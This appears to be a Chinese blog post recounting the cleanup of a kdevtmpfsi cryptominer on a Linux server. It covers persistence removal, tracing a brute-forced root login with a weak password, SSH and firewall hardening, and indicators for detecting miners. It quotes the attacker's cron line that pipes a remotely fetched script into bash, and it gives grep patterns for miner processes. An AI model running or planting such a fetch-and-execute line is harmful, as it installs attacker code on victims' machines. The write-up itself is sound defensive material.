江西省网站建设_网站建设公司_百度智能云_seo优化
2025/12/22 11:11:11 网站建设 项目流程

上周五晚上10点,正准备关电脑下班,收到一条告警:服务器CPU 100%。

点开一看,好家伙,被挖矿了。

记录一下整个排查和处理过程,希望对大家有帮助。

发现异常

告警内容:

[CRITICAL] 生产服务器 192.168.1.100 CPU使用率 99.8% 持续时间:15分钟

第一反应:难道是流量突增?看了一下监控,QPS很正常,但CPU就是打满了。

SSH登上去看看:

top
PID USER %CPU COMMAND 12345 www-data 98.5 ./kdevtmpfsi

kdevtmpfsi?这是啥进程?百度一搜,典型的挖矿木马。

应急处理

第一时间:隔离

# 先把服务器从负载均衡摘掉# 或者直接断外网(但我需要SSH连接,所以没断)# 在防火墙上禁止该服务器对外连接iptables -A OUTPUT -j DROP# 只允许SSHiptables -I OUTPUT -p tcp --dport22-j ACCEPT

杀掉挖矿进程

# 找到进程psaux|grepkdevtmpfsi# 杀掉kill-912345# 但是几秒后又起来了...

说明有守护进程或者定时任务在重启它。

查找守护机制

# 检查定时任务crontab-lcat/etc/crontabls/etc/cron.d/cat/var/spool/cron/crontabs/*

发现了:

# /var/spool/cron/crontabs/www-data*/5 * * * *curl-s http://xxx.xxx/b.sh|bash

每5分钟从外部下载脚本执行。

# 删除定时任务crontab-r -u www-data# 再查一下有没有别的grep-r"kdevtmpfsi"/etc/grep-r"curl.*\.sh"/var/

还找到了几个地方:

# /etc/rc.local 里被加了一行/tmp/.cache/kdevtmpfsi&# 删掉vim/etc/rc.local

清理木马文件

# 找到所有可疑文件find/ -name"kdevtmpfsi"2>/dev/nullfind/ -name".cache"-type d2>/dev/nullfind/tmp -type f -executable2>/dev/null# 删除rm-rf /tmp/.cacherm-rf /var/tmp/.cache

检查SSH后门

# 检查authorized_keyscat/root/.ssh/authorized_keyscat/home/*/.ssh/authorized_keys# 发现多了一个不认识的公钥,删掉

溯源分析

木马清理完了,得查查怎么进来的。

检查登录日志

# 查看最近登录last lastb# 失败的登录# 查看SSH日志grep"Accepted"/var/log/auth.log|tail-50

发现凌晨3点有一次root登录,来自一个国外IP。

但我们的root是禁止远程登录的啊?

cat/etc/ssh/sshd_config|grepPermitRootLogin# PermitRootLogin yes

谁改的?git blame一下配置管理…原来是之前同事调试的时候开的,忘记关了。

检查入侵方式

继续分析日志:

grep"Failed password"/var/log/auth.log|wc-l# 85432

8万多次失败登录,典型的暴力破解。

再看成功的那次:

grep"Accepted password for root"/var/log/auth.log# Dec 15 03:24:17 server sshd[12345]: Accepted password for root from 45.xx.xx.xx

密码是什么?检查一下root密码复杂度…

问了一圈,得知root密码是Admin@123

典型的弱密码,字典里肯定有。

根因总结

入侵链路:

1. SSH对外开放22端口 ✓ 2. 允许root远程登录 ✓ 3. root使用弱密码 ✓ 4. 被暴力破解成功 5. 下载挖矿木马 6. 添加定时任务保持持久化

每一步都是安全隐患,叠加起来就被黑了。

加固措施

1. SSH安全加固

# /etc/ssh/sshd_config# 禁止root登录PermitRootLogin no# 禁止密码登录,只用密钥PasswordAuthentication no PubkeyAuthenticationyes# 改端口(可选)Port22022# 只允许特定用户AllowUsers admin ops# 重启SSHsystemctl restart sshd

2. 安装fail2ban

aptinstallfail2ban -y# 配置cat>/etc/fail2ban/jail.local<<EOF [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 bantime = 86400 findtime = 600 EOFsystemctlenablefail2ban systemctl start fail2ban

5次失败就封IP一天。

3. 防火墙限制

# 只允许公司IP访问SSHiptables -A INPUT -p tcp --dport22-s 公司IP -j ACCEPT iptables -A INPUT -p tcp --dport22-j DROP

4. 密码策略

# 安装密码复杂度检查aptinstalllibpam-pwquality# /etc/security/pwquality.confminlen=12dcredit=-1 ucredit=-1 lcredit=-1 ocredit=-1

5. 监控告警

加了几个告警规则:

  • CPU持续高于80%超过5分钟
  • 新增定时任务时告警
  • SSH登录成功告警(非白名单IP)
  • 异常外连告警

远程应急的问题

这次还好我在公司,直接SSH上去处理了。

如果是半夜在家收到告警呢?家里连不上公司内网服务器。

之前的方案是开远程专线,但:

  • 连接经常断
  • 手机上操作很麻烦
  • 有些服务器在隔离网段,专线也连不上

后来用星空组网把服务器都组到一起,不管在哪都能SSH连上,应急方便多了。

事后复盘

该做没做的

  • 定期安全扫描
  • 配置文件变更审计
  • SSH配置检查纳入部署流程
  • 密码定期更换

侥幸逃过的

  • 幸好只是挖矿,不是勒索病毒
  • 幸好数据库没被拖
  • 幸好发现得早

改进措施

  1. 所有服务器SSH配置统一管理(Ansible)
  2. 每月安全扫描
  3. 新服务器上线必须经过安全检查
  4. 重要服务器禁止密码登录

常见挖矿木马特征

最后总结一下常见的挖矿木马特征,方便排查:

进程名特征
kdevtmpfsi最常见
kinsing配套木马
xmrig门罗币挖矿
*.sh在/tmp下可疑脚本
# 快速检查命令psaux|grep-E"kdevtmpfsi|kinsing|xmrig|cryptonight"find/tmp /var/tmp -type f -executablecrontab-lcat/etc/rc.local

希望大家的服务器都平平安安,不要遇到这种事。

有安全相关的问题可以评论区交流。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询